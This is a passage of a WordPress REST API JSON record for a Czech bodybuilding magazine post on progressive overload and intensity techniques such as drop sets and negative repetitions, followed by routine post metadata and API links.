z\u00e1t\u011b\u017e \u010di m\u011bn\u00edte dal\u0161\u00ed aspekty tr\u00e9ninku, nut\u00edte t\u011blo k\u00a0adaptaci, kter\u00e1 je pro n\u011bj st\u00e1le obt\u00ed\u017en\u011bj\u0161\u00ed a mus\u00ed na ni proto reagovat budov\u00e1n\u00edm svalov\u00e9 hmoty. Jestli\u017ee prov\u00e1d\u00edte st\u00e1le stejn\u00e9 cviky se stejnou z\u00e1t\u011b\u017e\u00ed ve stejn\u00e9m po\u010dtu s\u00e9ri\u00ed, nen\u00ed divu, \u017ee se nezlep\u0161ujete. V\u00a0takov\u00e9m p\u0159\u00edpad\u011b v\u00e1m toti\u017e chyb\u00ed p\u0159et\u00ed\u017een\u00ed \u2013 tedy postupn\u00e9 navy\u0161ov\u00e1n\u00ed tr\u00e9ninkov\u00e9ho stimulu. Jak byste t\u00edm p\u00e1dem m\u011bli postupovat? P\u0159edev\u0161\u00edm se seznamte s\u00a0technikami, jako jsou drop s\u00e9rie, negativn\u00ed opakov\u00e1n\u00ed a silov\u00e1 opakov\u00e1n\u00ed. Vyu\u017eit\u00edm t\u011bchto technik na zv\u00fd\u0161en\u00ed intenzity si zajist\u00edte opravdu kvalitn\u00ed tr\u00e9ninkov\u00e9 v\u00fdsledky. &nbsp; \u010cl\u00e1nek v\u00a0pln\u00e9m zn\u011bn\u00ed na v\u00e1s \u010dek\u00e1 v\u00a0\u010d\u00edsle 3-19.<\/p>\n","protected":false},"author":2,"featured_media":133,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-132","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/132","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=132"}],"version-history":[{"count":4,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/132\/revisions"}],"predecessor-version":[{"id":138,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/132\/revisions\/138"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/133"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=132"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=132"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=132"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}